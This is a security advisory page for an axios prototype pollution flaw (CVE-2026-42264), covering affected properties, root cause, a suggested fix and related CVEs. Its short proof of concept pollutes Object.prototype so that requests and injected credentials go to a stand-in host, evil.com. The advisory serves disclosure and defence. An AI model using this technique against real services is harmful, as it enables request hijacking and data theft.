CVE-2026-42264: Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
Summary Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. Affected Properties 1.
Published May 5, 2026 · Updated May 12, 2026
Affected packages
axios
- Ecosystem
- npm
- Affected
- >= 1.0.0, < 1.15.2
- Fixed in
- 1.15.2
- Check
npm ls axios
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
Affected Properties
- `config.auth` (
lib/adapters/http.jsline 617) Injects attacker-controlledAuthorizationheader on all requests. - `config.baseURL` (
lib/helpers/resolveConfig.jsline 18) Redirects all requests using relative URLs to an attacker-controlled server. - `config.socketPath` (
lib/adapters/http.jsline 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). - `config.beforeRedirect` (
lib/adapters/http.jsline 698) Executes attacker-supplied callback during HTTP redirects. - `config.insecureHTTPParser` (
lib/adapters/http.jsline 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentialsImpact
- Credential injection: Every axios request includes an attacker-controlled
Authorizationheader, leaking request contents to any server that logs auth headers. - Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
- SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
- Code execution: Attacker-supplied functions execute during HTTP redirects.
- Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause
mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Suggested Fix
Apply the existing own() helper to all affected properties:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.
Credited to bulmax9797-sketch.
References
- https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
- https://nvd.nist.gov/vuln/detail/CVE-2026-42264
- https://github.com/axios/axios/pull/10779
- https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa
- https://github.com/axios/axios/releases/tag/v1.15.2
- https://github.com/advisories/GHSA-q8qp-cvcw-x6jj
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-101898
Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls
high7.0Sep 30, 2026CVE-2026-101899
Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges
medium6.9Sep 30, 2026CVE-2026-101900
Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders
medium6.9Sep 30, 2026CVE-2026-101901
Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization
high8.2Sep 30, 2026CVE-2026-101902
Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method
medium6.9Sep 30, 2026CVE-2026-101903
Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
high8.2Sep 30, 2026
